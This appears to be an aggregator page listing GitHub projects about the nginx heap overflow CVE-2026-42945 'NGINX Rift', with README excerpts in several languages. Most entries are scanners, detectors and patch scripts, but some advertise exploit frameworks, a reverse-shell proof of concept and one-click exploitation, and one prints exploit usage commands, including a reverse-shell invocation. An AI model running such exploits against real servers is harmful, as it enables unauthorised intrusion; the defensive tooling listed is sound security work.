nGixshell

nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a proof-of-concept for CVE-2026-42945 CVSS 3.1 8.1 HIGH per F5/NVD — a heap buffer overflow in ngxhttprewritemodule — and a scanner covering 64 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web...

NGINX_RIFT_SCAN_CVE_2026_42945

Escáner de Configuración NGINX Rift Idioma: English | 中文 Esta es una herramienta ligera diseñada para verificar si la configuración de NGINX presenta patrones de riesgo relacionados con CVE-2026-42945 NGINX Rift y CVE-2026-9256. La vulnerabilidad fue divulgada por depthfirst en el artículo NGINX...

ai-vuln-rediscovery-nginx-cve-2026-42945

AI-Assisted Rediscovery of CVE-2026-42945 in nginx This repository documents a reproducible AI-assisted vulnerability rediscovery experiment against nginx ngxhttprewritemodule, later associated with CVE-2026-42945. The experiment is intentionally narrow. The vulnerable file,...

CVE-2026-42945-nginx-rift

Este repositorio no tiene un README...

CVE-2026-42945

Este repositorio no tiene un README...

nginx-rift-check

nginx-rift-check Finds configurations vulnerable to CVE-2026-42945 , the heap buffer overflow in nginx's ngxhttprewritemodule. Running an affected nginx version 0.6.27 through 1.30.0 is not enough to be exploitable. The configuration has to contain a specific pair of directives, and that pair is...

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 Read-only Bash checker for owned NGINX servers. It helps an operator answer two questions after the CVE-2026-42945 disclosure: Is this server still running an exposed NGINX build or risky rewrite configuration? Do local logs show crash, long-URI, or encoding...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE Crítico en NGINX CVSS 9.2 Clasificación Categoría: 0-Day / Ejecución Remota de Código CVE: CVE-2026-42945 CVSS: 9.2 Crítico Fecha de descubrimiento: 12 de mayo de 2026 Fecha de parche: Mayo de 2026 parche de seguridad trimestral de F5 Fuente: GitHub...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — defensive scanner Organizations running NGINX Open Source , NGINX Plus , or NGINX-based ingress/controllers should verify whether they are affected by CVE-2026-42945 and patch or reconfigure before exploitation attempts hit production edges. This repository provides a...

fix_nginx_cve_2026_42945

Script de reparación de un clic para NGINX CVE-2026-42945 Detecta automáticamente la distribución del sistema, actualiza NGINX a la versión corregida ≥1.30.1, respalda la configuración y revierte automáticamente en caso de fallo. Descripción de la vulnerabilidad ID de vulnerabilidad: CVE-2026-429...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui jdk21 バージョンの実行が必要 java -jar cve-2026-42945-scanner.... 一括スキャン + ワンクリック脆弱性悪用 jdk21での実行が必要 解凍後 java -jar cve-2026-42945-scanner.... 一括スキャン + ワンクリック脆弱性悪用...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell Remote code execution proof-of-concept for CVE-2026-42945 , a heap buffer overflow in NGINX's ngxhttprewritemodule. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CT...

Scanner_CVE_2026-42945

Nginxインスタンスが脆弱なCVE-2026-42945 NGINX RIFTを検出するスキャナー。 入力として個別IP、CIDR範囲、ASNを受け付けます。 概要 CVE-2026-42945は、1.30.1 より前のすべてのNginxバージョンに影響します。 このツールは、HTTPおよびHTTPSの標準ポートを調査し、レスポンスのServerヘッダーを読み取り、各ホストを脆弱、安全、または潜在的に影響を受ける（隠しバージョン）として分類します。 結果はログに保存され、CVEに脆弱なホストのリストと、最後に詳細な.CSVファイルが出力されます。 要件 root@kitploit: p...

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

nginx-rift-scanner

nginx-rift-scanner Escáner Python 3 sin dependencias para CVE-2026-42945 "NGINX Rift" — un desbordamiento de búfer en montículo CWE-122 CRÍTICO 9.2 en CVSS v4.0 en ngxhttprewritemodule. Lo que detecta Se ejecutan dos comprobaciones independientes en cada invocación:...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

cve-2026-42945-scan

cve-2026-42945-scan NGINX設定ファイル用の静的スキャナで、CVE-2026-42945に関連するrewrite/setパターンを検出します。 このスキャナはcrossplaneを使用してNGINX設定を解析し、locationブロックを走査して、影響を受けていると思われるすべてのlocationを次の形式で出力します: root@kitploit: //xxx.conf: - location XXXXX 例: root@kitploit: /path/to/nginx.conf:39 - location ^/api/.$ 参照:...

CVE-2026-42945-NGINX-Rift-Check-Script

Este repositorio no tiene un README...

nginx-rift-detect

nginx-rift-detect Behavioral detection script for CVE-2026-42945 NGINX Rift — a heap buffer overflow in ngxhttprewritemodule present in nginx since 2008. ⚠️ Disclaimer This tool is intended solely for authorized security testing and research. Only run this against systems you own or have explicit...